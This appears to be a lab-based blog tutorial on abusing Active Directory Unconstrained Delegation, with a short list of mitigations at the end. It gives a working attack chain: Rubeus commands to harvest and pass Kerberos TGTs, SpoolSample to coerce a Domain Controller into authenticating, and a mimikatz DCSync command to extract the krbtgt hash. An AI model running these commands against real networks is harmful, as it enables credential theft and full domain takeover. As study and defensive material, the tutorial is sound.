Revisiting Unconstrained Delegation

Unconstrained Delegation is an insecure feature within Active Directory that allows users or computers to impersonate other accounts on the network. Every time that a user is requesting a Service Ticket from a Domain Controller to access a service. The Domain Controller will make a copy of a user’s TGT, and attach it to the Service Ticket, which will be then delivered to the specified server with Unconstrained Delegation. The TGT of the user that just requested a Service Ticket will now be extracted in memory, so it can impersonate and access resources on behalf of an user.

This sounds great in theory, but since we all know that theory is not equals to practice. We have to prove that it is true as well. In my lab environment, there are couple of machines, Domain Controllers, and a server being configured for Unconstrained Delegation.

Requesting a Service Ticket

The first thing, we are going to do is using a Remote PowerShell session to connect against a regular server. This is just a normal server and is NOT configured for Unconstrained Delegation.

Command:

Enter-PSSession -ComputerName Server.contoso.com -Credential CONTOSO\Colby

Result

At the result, we can see that we have successfully initiated a Remote PowerShell session with server.contoso.com

What happens in the background?

In the background, we can see that the user Colby has requested a Kerberos Service Ticket for the HTTP service on server.contoso.com

We can see this as well, when we are taking a look in the LSASS process memory of the specified server. There is a Service Ticket that has been requested by Colby for the HTTP service.

Requesting another Service Ticket

Instead of using Remote PowerShell – What would happen if we would use PsExec to connect against the remote server?

Command:

PsExec.exe \\Server.contoso.com cmd.exe

Result:

At the result, we can see that we have successfully connected against server.contoso.com

What happens in the background?

In the background, we can see that the user Colby has requested a Kerberos Service Ticket. However, during this time. An Service Ticket was requested for the CIFS service on server.contoso.com – Instead of HTTP.

We can see this as well in the LSASS process memory of the specified server. It just has the same result as the previous one, but a Service Ticket was requested for the CIFS service this time.

List of available services

Here is a list of available services. This does not include every service, but it’s shows a couple of common examples.

Source: https://book.hacktricks.xyz/windows/active-directory-methodology/silver-ticket

Requesting Service Ticket of server with Unconstrained Delegation

We are now going to do the exact same thing, but this time. We are going to request a Service Ticket for a server with Unconstrained Delegation. During this example, we are going to use the exact same server in the previous example, but we will configure it for Unconstrained Delegation.

Command:

Enter-PSSession -ComputerName server.contoso.com -Credential CONTOSO\Colby

Result:

At the result, we can see that we made a successful connection to the server.contoso.com through PowerShell Remoting.

What happens in the background?

In the background, we can see that the user Colby has requested a Kerberos Service Ticket for the HTTP service on server.contoso.com

We can see that Colby has requested a Kerberos Service Ticket for the HTTP service on server.contoso.com

However, this time. We can also see the Kerberos TGT of Colby being attached to the Service Ticket, which is now stored in memory.

Exploiting Unconstrained Delegation

At this section, we are now going to cover how to exploit Unconstrained Delegation. The first example will be monitoring for incoming connections. Every time that a user is requesting a Service Ticket to the server. It will leave a Kerberos TGT in memory, because the server has been configured for Unconstrained Delegation.

During this example, we will be using Rubeus to monitor incoming connections. We are now monitoring for new TGTs every 10 seconds.

Rubeus.exe monitor /interval:10

Let’s say that Colby the Domain Admin has decided to request a Service Ticket for the server with Unconstrained Delegation.

Result:

At the result, we can now see the TGT of the user Colby.

Impersonating the user

We now need to import the Kerberos TGT into our session, so we can impersonate the user Colby.

Rubeus.exe ptt /ticket:<BLOB>

Once we have imported the Kerberos TGT of Colby, we can start to execute a DCSync attack. Since Colby is a member of the Domain Admins group.

Rubeus.exe describe /ticket:<BLOB>

SpoolSample

This section will cover how one server with Unconstrained Delegation can lead to a full domain or forest compromise. This techniques relies on a Domain Controller having the Print Spooler service enabled, which can be abused by an attacker to force a Domain Controller sending its own TGT to the attacker’s controlled machine, where Unconstrained Delegation is enabled.

The first step to gain control over the entire directory, consist of attacker performing an RPC call (from the server where Uncontrained Delegation is enabled and where attacker owns local admin privileges) to the RpcRemoteFindFirstPrinterChangeNotificationEx notification method against the Domain Controller forcing this machine authenticating against the attacker’s controlled server by providing its DC$ TGT.

Rubeus.exe monitor /interval:10

The second thing we have to do is, trigger the Print Spooler service of the Domain Controller to let it authenticate with the server that we control.

SpoolSample.exe DC02.child.contoso.com AttackerServer.child.contoso.com

Result:

At the result, we can see that we now have the TGT of the DC02$ machine account.

Rubeus.exe describe /ticket:<BLOB>

Here we can see that the TGT is from the DC02$ machine account.

The final step is to use DCSync as the DC02$ machine account to get the NT hash of the KRBTGT account.

lsadump::dcsync /user:CHILD\krbtgt

What happens under the hood?

Once we are monitoring for incoming TGTs on a server with Unconstrained Delegation, we can start trigger the Print Spooler service on the Domain Controller to force it to send to the attacker’s controlled Server the DC$ TGT. This ticket will be loaded into LSASS process memory of attacker’s controlled Server.

In my scenario 10.1.0.5 is the Server controlled by attacker and 10.1.0.4 is the Domain Controller. We can see that 10.1.0.5 is making an RPC call to the RFFPCNEX (RpcRemoteFindFirstPrinterChangeNotificationEx) notification method. This method is part of the MS-RPRN protocol. It defines the communication of print job processing and print system management between a client and a server.

Once we expand the network packet, we also can see the following:

We can see that the SpoolSample is operating via an RPC call to a specific notification method in the SMB named pipe through the IPC$ share. The IPC$ share is also known as a null session connection, and is created by the Windows Server service. This share exists to allow for subsequent named pipe connections to a server.

Recommendations

  • Enable ‘Account is sensitive and cannot be delegated’ on your Tier-0 accounts
  • Try using Constrained Delegation if applicable

Reference

Leave a comment